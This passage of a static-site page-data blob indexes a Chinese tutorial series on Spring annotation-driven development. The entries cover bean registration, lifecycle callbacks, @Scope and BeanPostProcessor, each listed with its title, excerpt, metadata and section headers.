冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近,一位读者出去面试前准备了很久,信心满满的去面试。没想到面试官的一个问题把他难住了。面试官的问题是这样的:如何使用Spring将Service注入到Servlet中呢?这位读者平时也是很努力的,看什么源码啊、多线程啊、高并发啊、设计模式啊等等。没想到却在一个很简单的问题上栽了跟头,这就说明学习知识要系统化,要有条理,切忌东学一点,西记一点,否则,到头来,啥也学不到。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】面试官:如何将Service注入到Servlet中?朋友又栽了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html"},{name:"twitter:title",content:"【Spring注解驱动开发】面试官:如何将Service注入到Servlet中?朋友又栽了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html",relativePath:"md/core/spring/ioc/2022-04-04-010-如何将Service注入到Servlet中.md",key:"v-ff84c35a",path:"/md/core/spring/ioc/2022-04-04-010-%E5%A6%82%E4%BD%95%E5%B0%86Service%E6%B3%A8%E5%85%A5%E5%88%B0Servlet%E4%B8%AD.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"如何实现将Service注入到Servlet中??",slug:"如何实现将service注入到servlet中"},{level:3,title:"方法一:",slug:"方法一"},{level:3,title:"方法二:",slug:"方法二"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们学习了如何使用@Import注解向Spring容器中导入bean,可以使用@Import注解快速向容器中导入bean,小伙伴们可以参见《[【Spring注解驱动开发】使用@Import注解给容器中快速导入一个组件](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484863&idx=1&sn=faca9edb10665d357089a290220ede2f&chksm=cee51a72f992936430364b018e07f062c2cb4bbe7111d0b615a1937215170976e5caf23a227b&token=1611686244&lang=zh_CN#rd)》。可以在@Import注解中使用ImportSelector接口导入bean,小伙伴们可以参见《[【Spring注解驱动开发】在@Import注解中使用ImportSelector接口导入bean](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484870&idx=1&sn=a371224a8c2b9f70a41ff88976d6b0e6&chksm=cee51a0bf992931d3e39ddf70061ac8de713c817ec6561075a740eb18c7269ce66d50459dd58&token=1611686244&lang=zh_CN#rd)》一文。今天,我们就来说说,如何在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:title",content:"【Spring注解驱动开发】在@Import注解中使用ImportBeanDefinitionRegistrar向容器中注册bean"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",relativePath:"md/core/spring/ioc/2022-04-04-011-使用ImportBeanDefinitionRegistrar向容器中注册bean.md",key:"v-302f0b9d",path:"/md/core/spring/ioc/2022-04-04-011-%E4%BD%BF%E7%94%A8ImportBeanDefinitionRegistrar%E5%90%91%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"ImportBeanDefinitionRegistrar概述",slug:"importbeandefinitionregistrar概述"},{level:3,title:"概述",slug:"概述"},{level:3,title:"使用方法",slug:"使用方法"},{level:2,title:"ImportBeanDefinitionRegistrar实例",slug:"importbeandefinitionregistrar实例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【String注解驱动开发】面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们知道可以通过多种方式向Spring容器中注册bean。可以使用@Configuration结合@Bean向Spring容器中注册bean;可以按照条件向Spring容器中注册bean;可以使用@Import向容器中快速导入bean对象;可以在@Import中使用ImportBeanDefinitionRegistrar向容器中注册bean。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【String注解驱动开发】面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:title",content:"【String注解驱动开发】面试官让我说说:如何使用FactoryBean向Spring容器中注册bean?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",relativePath:"md/core/spring/ioc/2022-04-04-012-使用FactoryBean注册向Spring容器中注册bean.md",key:"v-7b63f51b",path:"/md/core/spring/ioc/2022-04-04-012-%E4%BD%BF%E7%94%A8FactoryBean%E6%B3%A8%E5%86%8C%E5%90%91Spring%E5%AE%B9%E5%99%A8%E4%B8%AD%E6%B3%A8%E5%86%8Cbean.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"FactoryBean概述",slug:"factorybean概述"},{level:2,title:"FactoryBean实例",slug:"factorybean实例"},{level:2,title:"如何在Spring容器中获取到FactoryBean对象?",slug:"如何在spring容器中获取到factorybean对象"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇够了!!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇够了!!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在【[String注解驱动开发专题](https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&album_id=1393709600402374656&__biz=Mzg3MzE1NTIzNA==#wechat_redirect)】中,前面的文章我们主要讲了有关于如何向Spring容器中注册bean的知识,大家可以到【[String注解驱动开发专题](https://mp.weixin.qq.com/mp/appmsgalbum?action=getalbum&album_id=1393709600402374656&__biz=Mzg3MzE1NTIzNA==#wechat_redirect)】中系统学习。接下来,我们继续肝Spring,只不过从本篇文章开始,我们就进入Spring容器中有关Bean的生命周期的学习。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇够了!!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html"},{name:"twitter:title",content:"【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇够了!!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html",relativePath:"md/core/spring/ioc/2022-04-04-013-使用@Bean注解指定初始化和销毁的方法.md",key:"v-09a2c2ec",path:"/md/core/spring/ioc/2022-04-04-013-%E4%BD%BF%E7%94%A8@Bean%E6%B3%A8%E8%A7%A3%E6%8C%87%E5%AE%9A%E5%88%9D%E5%A7%8B%E5%8C%96%E5%92%8C%E9%94%80%E6%AF%81%E7%9A%84%E6%96%B9%E6%B3%95.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"Bean的生命周期",slug:"bean的生命周期"},{level:2,title:"如何定义初始化和销毁方法?",slug:"如何定义初始化和销毁方法"},{level:2,title:"指定初始化和销毁方法的使用场景",slug:"指定初始化和销毁方法的使用场景"},{level:2,title:"初始化和销毁方法调用的时机",slug:"初始化和销毁方法调用的时机"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】使用InitializingBean和DisposableBean来管理bean的生命周期,你真的了解吗?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用InitializingBean和DisposableBean来管理bean的生命周期,你真的了解吗?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在《[【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇就够了!!](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484985&idx=1&sn=bf7ec702113f433f6677d0e9f4f5ae7d&chksm=cee519f4f99290e2c509926a61a7f9604d8a358cd364a78d6de7929f45b3b2a84f57b93f8f87&token=604767871&lang=zh_CN#rd)》一文中,我们讲述了如何使用@Bean注解来指定bean初始化和销毁的方法。具体的用法就是在@Bean注解中使用init-method属性和destroy-method属性来指定初始化方法和销毁方法。除此之外,Spring中是否还提供了其他的方式来对bean实例进行初始化和销毁呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用InitializingBean和DisposableBean来管理bean的生命周期,你真的了解吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用InitializingBean和DisposableBean来管理bean的生命周期,你真的了解吗?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html",relativePath:"md/core/spring/ioc/2022-04-04-014-使用InitializingBean和DisposableBean来管理bean的生命周期.md",key:"v-797843fe",path:"/md/core/spring/ioc/2022-04-04-014-%E4%BD%BF%E7%94%A8InitializingBean%E5%92%8CDisposableBean%E6%9D%A5%E7%AE%A1%E7%90%86bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"InitializingBean接口",slug:"initializingbean接口"},{level:3,title:"1.InitializingBean接口概述",slug:"_1-initializingbean接口概述"},{level:3,title:"2.何时调用InitializingBean接口?",slug:"_2-何时调用initializingbean接口"},{level:2,title:"DisposableBean接口",slug:"disposablebean接口"},{level:3,title:"1.DisposableBean接口概述",slug:"_1-disposablebean接口概述"},{level:3,title:"2.DisposableBean接口注意事项",slug:"_2-disposablebean接口注意事项"},{level:2,title:"单实例bean案例",slug:"单实例bean案例"},{level:2,title:"多实例bean案例",slug:"多实例bean案例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【String注解驱动开发】你了解@PostConstruct注解和@PreDestroy注解吗?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】你了解@PostConstruct注解和@PreDestroy注解吗?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在之前的文章中,我们介绍了如何使用@Bean注解指定初始化和销毁的方法,小伙伴们可以参见《[【Spring注解驱动开发】如何使用@Bean注解指定初始化和销毁的方法?看这一篇就够了!!](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247484985&idx=1&sn=bf7ec702113f433f6677d0e9f4f5ae7d&chksm=cee519f4f99290e2c509926a61a7f9604d8a358cd364a78d6de7929f45b3b2a84f57b93f8f87&token=1099992343&lang=zh_CN#rd)》,也介绍了使用InitializingBean和DisposableBean来处理bean的初始化和销毁,小伙伴们可以参见《[【Spring注解驱动开发】Spring中的InitializingBean和DisposableBean,你真的了解吗?](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247485001&idx=1&sn=251bd90d3b04f2bd56c9d24f9df39f81&chksm=cee51984f992909216b2ab3e723561776b5032393d30e6cdf99af1c4c08e8facb790ea16955e&token=1099992343&lang=zh_CN#rd)》。除此之外,在JDK中也提供了两个注解能够在bean加载到Spring容器之后执行和在bean销毁之前执行,今天,我们就一起来看看这两个注解的用法。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【String注解驱动开发】你了解@PostConstruct注解和@PreDestroy注解吗?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:title",content:"【String注解驱动开发】你了解@PostConstruct注解和@PreDestroy注解吗?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html",relativePath:"md/core/spring/ioc/2022-04-04-015-@PostConstruct注解和@PreDestroy注解.md",key:"v-07741c6a",path:"/md/core/spring/ioc/2022-04-04-015-@PostConstruct%E6%B3%A8%E8%A7%A3%E5%92%8C@PreDestroy%E6%B3%A8%E8%A7%A3.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"@PostConstruct注解",slug:"postconstruct注解"},{level:2,title:"@PreDestroy注解",slug:"predestroy注解"},{level:2,title:"案例程序",slug:"案例程序"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】@PostConstruct与@PreDestroy源码的执行过程",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】@PostConstruct与@PreDestroy源码的执行过程",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的《[【String注解驱动开发】你真的了解@PostConstruct注解和@PreDestroy注解吗?](https://mp.weixin.qq.com/s?__biz=Mzg3MzE1NTIzNA==&mid=2247485015&idx=1&sn=d9b98808a43f72655bf2be51270c4587&chksm=cee5199af992908c45e3801904013f17714b79dc60f6272c699361f7af4681f7ce3548fb8abf&token=1099992343&lang=zh_CN#rd)》一文中,我们简单的介绍了@PostConstruct注解与@PreDestroy注解的用法,有不少小伙伴纷纷留言说:在Spring中,@PostConstruct注解与@PreDestroy注解标注的方法是在哪里调用的呀?相信大家应该都挺好奇的吧,那今天我们就来一起分析下@PostConstruct注解与@PreDestroy注解的执行过程吧!",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】@PostConstruct与@PreDestroy源码的执行过程"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{name:"twitter:title",content:"【Spring注解驱动开发】@PostConstruct与@PreDestroy源码的执行过程"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html",relativePath:"md/core/spring/ioc/2022-04-04-016-@PostConstruct与@PreDestroy源码解析.md",key:"v-4a1ac0cc",path:"/md/core/spring/ioc/2022-04-04-016-@PostConstruct%E4%B8%8E@PreDestroy%E6%BA%90%E7%A0%81%E8%A7%A3%E6%9E%90.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"注解说明",slug:"注解说明"},{level:2,title:"调用过程",slug:"调用过程"},{level:2,title:"调用分析",slug:"调用分析"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【Spring注解驱动开发】使用@Scope注解设置组件的作用域",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【Spring注解驱动开发】使用@Scope注解设置组件的作用域",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"Spring容器中的组件默认是单例的,在Spring启动时就会实例化并初始化这些对象,将其放到Spring容器中,之后,每次获取对象时,直接从Spring容器中获取,而不再创建对象。如果每次从Spring容器中获取对象时,都要创建一个新的实例对象,该如何处理呢?此时就需要使用@Scope注解设置组件的作用域。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【Spring注解驱动开发】使用@Scope注解设置组件的作用域"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html"},{name:"twitter:title",content:"【Spring注解驱动开发】使用@Scope注解设置组件的作用域"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html",relativePath:"md/core/spring/ioc/2022-04-04-017-使用@Scope注解设置组件的作用域.md",key:"v-5b592441",path:"/md/core/spring/ioc/2022-04-04-017-%E4%BD%BF%E7%94%A8@Scope%E6%B3%A8%E8%A7%A3%E8%AE%BE%E7%BD%AE%E7%BB%84%E4%BB%B6%E7%9A%84%E4%BD%9C%E7%94%A8%E5%9F%9F.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"本文内容概览",slug:"本文内容概览"},{level:2,title:"@Scope注解概述",slug:"scope注解概述"},{level:2,title:"单实例bean作用域",slug:"单实例bean作用域"},{level:2,title:"多实例bean作用域",slug:"多实例bean作用域"},{level:2,title:"单实例bean作用域何时创建对象?",slug:"单实例bean作用域何时创建对象"},{level:2,title:"多实例bean作用域何时创建对象?",slug:"多实例bean作用域何时创建对象"},{level:2,title:"单实例bean注意的事项",slug:"单实例bean注意的事项"},{level:2,title:"多实例bean注意的事项",slug:"多实例bean注意的事项"},{level:2,title:"自定义Scope",slug:"自定义scope"},{level:3,title:"1.如何实现自定义Scope",slug:"_1-如何实现自定义scope"},{level:3,title:"2.自定义Scope实现案例",slug:"_2-自定义scope实现案例"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【String注解驱动开发】针对bean的生命周期,我们究竟能做哪些工作?",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】针对bean的生命周期,我们究竟能做哪些工作?",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们讲述了BeanPostProcessor的postProcessBeforeInitialization()方法在bean的初始化之前调用,而postProcessAfterInitialization()方法在bean初始化之后调用,我们可以自定义类来实现BeanPostProcessor接口,并在postProcessBeforeInitialization()方法和postProcessAfterInitialization()方法中指定我们自定义的逻辑。至此,我们对bean的整个生命周期进行了简单的阐述,那么问题来了,针对bean的生命周期,我们究竟能做哪些工作呢?",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【String注解驱动开发】针对bean的生命周期,我们究竟能做哪些工作?"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html"},{name:"twitter:title",content:"【String注解驱动开发】针对bean的生命周期,我们究竟能做哪些工作?"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html",relativePath:"md/core/spring/ioc/2022-04-04-018-针对bean的生命周期,我们能做哪些工作.md",key:"v-2e244c52",path:"/md/core/spring/ioc/2022-04-04-018-%E9%92%88%E5%AF%B9bean%E7%9A%84%E7%94%9F%E5%91%BD%E5%91%A8%E6%9C%9F%EF%BC%8C%E6%88%91%E4%BB%AC%E8%83%BD%E5%81%9A%E5%93%AA%E4%BA%9B%E5%B7%A5%E4%BD%9C.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"bean的初始化和销毁",slug:"bean的初始化和销毁"},{level:3,title:"1.通过@Bean指定init-method和destroy-method",slug:"_1-通过-bean指定init-method和destroy-method"},{level:3,title:"2.通过让Bean实现InitializingBean(定义初始化逻辑)",slug:"_2-通过让bean实现initializingbean-定义初始化逻辑"},{level:3,title:"3.可以使用JSR250",slug:"_3-可以使用jsr250"},{level:3,title:"4.可以使用BeanPostProcessor",slug:"_4-可以使用beanpostprocessor"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"在前面的文章中,我们讲述了BeanPostProcessor的postProcessBeforeInitialization()方法和postProcessAfterInitialization()方法在bean初始化的前后调用,我们可以自定义类来实现BeanPostProcessor接口,并在postProcessBeforeInitialization()方法和postProcessAfterInitialization()方法中指定我们自定义的逻辑。今天,我们来一起探讨下eanPostProcessor底层原理。",lock:"need",meta:[{property:"article:modified_time",content:"2022-10-18T11:10:41.000Z"},{property:"og:title",content:"【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!"},{property:"og:type",content:"article"},{property:"og:url",content:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html"},{name:"twitter:title",content:"【String注解驱动开发】面试官再问你BeanPostProcessor的执行流程,就把这篇文章甩给他!"},{name:"twitter:url",content:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html"},{name:"twitter:card",content:"summary_large_image"}]},regularPath:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html",relativePath:"md/core/spring/ioc/2022-04-04-019-BeanPostProcessor底层原理解析.md",key:"v-6bca2382",path:"/md/core/spring/ioc/2022-04-04-019-BeanPostProcessor%E5%BA%95%E5%B1%82%E5%8E%9F%E7%90%86%E8%A7%A3%E6%9E%90.html",headers:[{level:2,title:"写在前面",slug:"写在前面"},{level:2,title:"bean的初始化和销毁",slug:"bean的初始化和销毁"},{level:3,title:"1.通过@Bean指定init-method和destroy-method",slug:"_1-通过-bean指定init-method和destroy-method"},{level:3,title:"2.通过让Bean实现InitializingBean(定义初始化逻辑)",slug:"_2-通过让bean实现initializingbean-定义初始化逻辑"},{level:3,title:"3.可以使用JSR250",slug:"_3-可以使用jsr250"},{level:3,title:"4.可以使用BeanPostProcessor",slug:"_4-可以使用beanpostprocessor"},{level:2,title:"BeanPostProcessor源码解析",slug:"beanpostprocessor源码解析"},{level:2,title:"写在最后",slug:"写在最后"}],lastUpdated:"2022/10/18 11:10:41",lastUpdatedTimestamp:1666091441e3},{title:"【String注解驱动开发】困扰了我很久的AOP嵌套调用终于解决了!",frontmatter:{layout:"post",category:"binghe-spring-ioc",title:"【String注解驱动开发】困扰了我很久的AOP嵌套调用终于解决了!",tagline:"by 冰河",tag:["spring.spring-ioc","binghe-spring-ioc"],excerpt:"最近在分析Spring源码时,在同一个类中写了嵌套的AOP方法,测试时出现:Spring 